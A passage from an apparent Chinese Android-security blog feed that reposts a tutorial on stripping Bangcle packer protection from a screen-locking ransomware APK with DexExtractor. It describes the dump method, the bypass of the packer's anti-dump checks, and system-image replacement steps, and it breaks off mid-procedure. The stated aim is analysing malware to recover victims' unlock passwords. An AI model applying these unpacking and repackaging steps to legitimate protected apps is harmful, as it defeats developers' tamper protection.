可以看到，应用图标已经成功改成了篮球，另外点击按钮后弹出的Toast的提示也变成了我们修改后的文字，说明重新打包操作确实已经成功了。
<hr style="box-sizing:border-box;outline:0px;margin:24px 0px;border-top:none;border-right:none;border-left:none;border-image:initial;border-bottom-style:solid;border-bottom-color:#DDDDDD;word-break:break-all;" />
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	好的，我们把反编译代码、反编译资源、重新打包这三大主题的内容都已经掌握了，关于反编译相关的内容就到这里，下篇文章会介绍Android代码混淆方面的相关技术，感兴趣的朋友请继续阅读：&nbsp;<a href="https://zuoer.xin/?post=6" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">Android安全攻防战，反编译与混淆技术完全解析（下）</a>&nbsp;
</p>
<p>
	<span style="color:#999999;font-family:&quot;white-space:normal;background-color:#FFFFFF;">版权声明：本文出自郭霖的博客，转载必须注明出处。	https://blog.csdn.net/sinyu890807/article/details/49738023</span>
</p>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 12.0px Courier; color: #000000; -webkit-text-stroke: #000000; background-color: #f6f8fa}
span.s1 {font-kerning: none; color: #000088; -webkit-text-stroke: 0px #000088}
span.s2 {font-kerning: none}
span.s3 {font-kerning: none; color: #4f4f4f; -webkit-text-stroke: 0px #4f4f4f}
span.s4 {font-kerning: none; color: #9b859d; -webkit-text-stroke: 0px #9b859d}
span.s5 {font-kerning: none; color: #009900; -webkit-text-stroke: 0px #009900}
</style>]]></description>
	<pubDate>Sat, 01 Sep 2018 14:09:03 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=5</guid>

</item>
<item>
	<title>Apk脱壳圣战之---如何脱掉“梆梆加固”的保护壳</title>
	<link>https://www.zuoer.xin/?post=4</link>
	<description><![CDATA[<div class="article-copyright" style="box-sizing:inherit;outline:0px;padding:0px;margin:0px 0px 8px;word-break:break-all;color:#999999;">
	版权声明：本文为博主原创文章，未经博主允许不得转载。	https://blog.csdn.net/jiangwei0910410003/article/details/54409957
</div>
<div class="htmledit_views" style="box-sizing:inherit;outline:0px;padding:0px;margin:0px;font-family:-apple-system, &quot;word-break:break-all;">
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t0"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;">一、前言</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">现如今Android用户的安全意识不是很强，又有一些恶意开发者利用应用的名字吸引眼球，包装一个恶意锁机收费的应用，在用户被骗的安装应用之后，立马手机锁机，需要付费方可解锁。这样的恶意软件是非常让人痛恨的。所以本文就用一个案例来分析如何破解这类应用，获取解锁密码，让被骗的用户可以找回爽快！</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t1"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;">二、分析软件锁机原理</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">本文用的是一款叫做：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">安卓性能激活.apk</span></span>，关于样本apk文件后面会给出下载地址，从名字可以看到它肯定不会是一个恶意软件，但是当我们安装的时候，并且激活它的权限之后就完了。下面不多说了，直接用Jadx工具打开它：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170113164322078?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">从包名可以看到是梆梆加固的，咋们也看不到他的代码了，所以第一步咋们得先脱壳了，在这之前我们再看看他的清单文件：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170113170325854?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">这里可以看到，他利用了设备管理器权限，来强制修改了系统密码来做的，我们通过打开软件也可以确定这点：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170113170419354?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">看到了，他申请了设备管理器权限，而这个权限用过的同学都知道，当获取到这个权限之后可以控制这个设备了，包括修改系统密码。而这个软件也是利用这个权限来做到锁机的。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">注意：</span><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#3366FF;">对于这个权限还有一个重要作用，就是可以防止应用被卸载，现在很多应用为了防止自己被用户无情的卸载了，就用这个权限</span></span>，可以看到这个应用申请了这个权限之后，卸载页面：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114095834446?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">是不可以卸载的。从Android系统来说这个也是合乎情理的，因为这个应用具备了设备管理器权限如果能被卸载那是不可能的。所以有一些应用就利用这个功能来防止被卸载。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t2"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;">三、脱壳工具DexExtractor原理分析</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">上面分析完了这个应用的锁机原理，下面就需要破解它获取到锁机密码即可，但是从上面代码可以看到他用到了梆梆加固，所以如果想破解它得先把壳给脱了，关于脱壳文章在前面两篇文章中介绍了两篇关于脱壳文章：<a href="http://www.wjdiankong.cn/apk%E8%84%B1%E5%A3%B3%E5%9C%A3%E6%88%98%E4%B9%8B-%E8%84%B1%E6%8E%89%E7%88%B1%E5%8A%A0%E5%AF%86%E5%AE%B6%E7%9A%84%E5%A3%B3/" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">Apk脱壳圣战之---脱掉“爱加密”的壳</a>&nbsp;和&nbsp;<a href="http://www.wjdiankong.cn/apk%E8%84%B1%E5%A3%B3%E5%9C%A3%E6%88%98%E4%B9%8B-%E8%84%B1%E6%8E%89360%E5%8A%A0%E5%9B%BA%E7%9A%84%E5%A3%B3/" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">Apk脱壳圣战之---脱掉“360加固”的壳</a>，本文就要先来介绍如何脱掉梆梆的壳，因为如果这个壳不脱掉，没法分析他的恶意锁机的解锁密码。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">前面的这两篇文章介绍脱壳主要是通过IDA动态调试下断点dump出内存的dex数据，但是本文不这么玩了，而是借助一个脱壳工具DexExtractor，这个工具是开源的：<a href="https://github.com/bunnyblue/DexExtractor" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">https://github.com/bunnyblue/DexExtractor</a>，这里给出了修改源代码。其实他的原理也很简单，就是修改系统的DexFile.cpp源码，在解析dex的函数开头处加上自己的dumpdex逻辑：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114101034795?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">这里的DexHacker就是他自己定义的，这里的dexFileParse就是系统解析dex函数，从参数可以看到，有dex文件数据，大小等信息。所以就可以把这个文件dex文件弄出来了。然后修改完了这个系统DexFile文件之后，需要将其编译到system.img镜像中，然后刷到手机中即可。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">这里大神给出了一个修改之后的system.img下载地址：<a href="https://pan.baidu.com/s/1jG3WQMU" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">https://pan.baidu.com/s/1jG3WQMU</a>，但是需要注意的是，这个文件是Android4.4系统的，如果想在其他系统版本中操作，需要自己找到系统对应的版本找到DexFile源码，添加上面的代码，在编译获取到system.img文件即可。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">所以从上面的原理可以了解到，他其实和我们之前用IDA动态调试的原理非常类似，脱壳就是一点：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">不管之前怎么对dex加密，最终都是需要解密加载到内存中的。所以只要找到加载dex这个点即可</span></span>。<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#3366FF;">那么这种方式和之前调试的方式有什么区别呢？</span></span></span> 
	</p>
	<ul style="box-sizing:border-box;outline:0px;padding:0px;margin:0px 0px 24px;list-style:none;word-break:break-all;color:#333333;font-size:14px;white-space:normal;background-color:#FFFFFF;">
		<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
			<span style="box-sizing:border-box;outline:0px;word-break:break-all;">动态调试方便，无需其他条件限制，但是遇到反调试就会很难受了。得先解决反调试才可进行下一步脱壳。</span> 
		</li>
		<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
			<span style="box-sizing:border-box;outline:0px;word-break:break-all;">刷入system.img这种方式可以不用关心反调试，但是条件太苛刻，使用成本较高。对于不同系统版本还得准备不同版本的system.img文件，然后将其刷到设备中。</span> 
		</li>
	</ul>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">1、可以选择刷入system.img文件</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">针对于上面的这种条件限制，我们有一种好的方式可以解决，就是借助于模拟器，这样就不需要繁琐的将system.img刷到设备中了，可以将编译之后的system.img文件替换对应系统版本的模拟器镜像文件即可。然后启动模拟器。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">2、可以选择替换系统libdvm.so文件</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">当然我们不刷机也是可以的，大神给出了编译之后的libdvm.so文件，其实上面编译的system.img有点动作太大了，因为我们就修改了DexFile这个文件，其实只要编译修改后的libdvm.so文件，然后替换设备的system/lib目录下libdvm.so文件即可，不过设备需要root，这种方式比上面的刷机system.img方便。</span> 
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t3"></a><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;">四、DexExtractor工具使用条件</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">上面讲解了DexExtractor工具的原理，下面就来详细介绍他的用法吧，其实他的用法也很简单，把他的源码下载下来之后，他还有一个解密工程DexReverse，这个是一个java工程，<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">为了解密dump出的dex文件的。那为什么要解密呢？还有这个工具dump出的dex文件在哪？</span></span>下面就来详细介绍：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114104407232?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">看到DexHacker这个文件中，会将dex文件保存到sd卡中，而每个应用启动的时候都是在一个进程中创建一个虚拟机，所以这里如果想让这个工具可以dump出应用的dex文件，需要给这个应用添加一个写sd卡的权限：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">&lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/&gt;</span></span><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">这个比较简单，咋们可以利用apktool反编译应用，在AndroidManifest.xml中添加这个权限，在回编译即可。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">那么dump出dex文件之后为何还要解密呢？这个主要是为了对抗加固策略：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">现在一些加固平台，比如梆梆加固，会对dex的内存dump脱壳进行检测，具体的就是hook修改当前进程的read、write读写相关的函数，一旦检测到read，write读写相关的函数的操作中有对dex文件的dump行为会有对抗的处理，防止dex的内存dump，因此呢,DexExtractor脱壳工具的作者为了过掉这种内存dump的对抗，需要先将原始的dex文件数据进行base64加密然后进行写文件到sdcard中进行输出，当pull导出拿到base64加密的dex文件时还需要进行base64的解密才能获取到原始的dex文件。这个解密工具也在工具目录下Decode.jar，用法：java -jar Decode.jar dexdir；这里需要注意的是，<span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">dexdir是我们pull出dex之后的目录，记住是目录，不是对应的dex文件哦！</span></span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t4"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;">五、DexExtractor工具使用步骤</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">到这里我们就分析完了DexExtractor工具的原理，使用条件，使用步骤了，下面咋们就来实践一下，把我们在前面说到的那个应用脱个壳。这里为了简单，直接启动一个4.4版本的模拟器，然后替换他的system.img文件。下面的步骤很简单了：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第一步：替换system.img文件</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">用上面修改之后的system.img文件替换4.4的system.img文件，文件目录：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">AndroidSDK目录\system-images\android-19\default\armeabi-v7a\system.img</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114105129204?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">最好把之前的system.img文件进行改名备份。然后启动模拟器即可。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第二步：添加写SD卡权限</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">上面说到了，因为这个工具需要将dump出的dex文件写到SD卡中，所以我们需要检查脱壳应用是否具备写SD卡权限，我们用Jadx工具打开这个应用，发现没有，所以我们需要用apktool工具反编译，然后在AndroidManifest.xml中添加&lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/&gt;，然后在回编译重签名即可。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
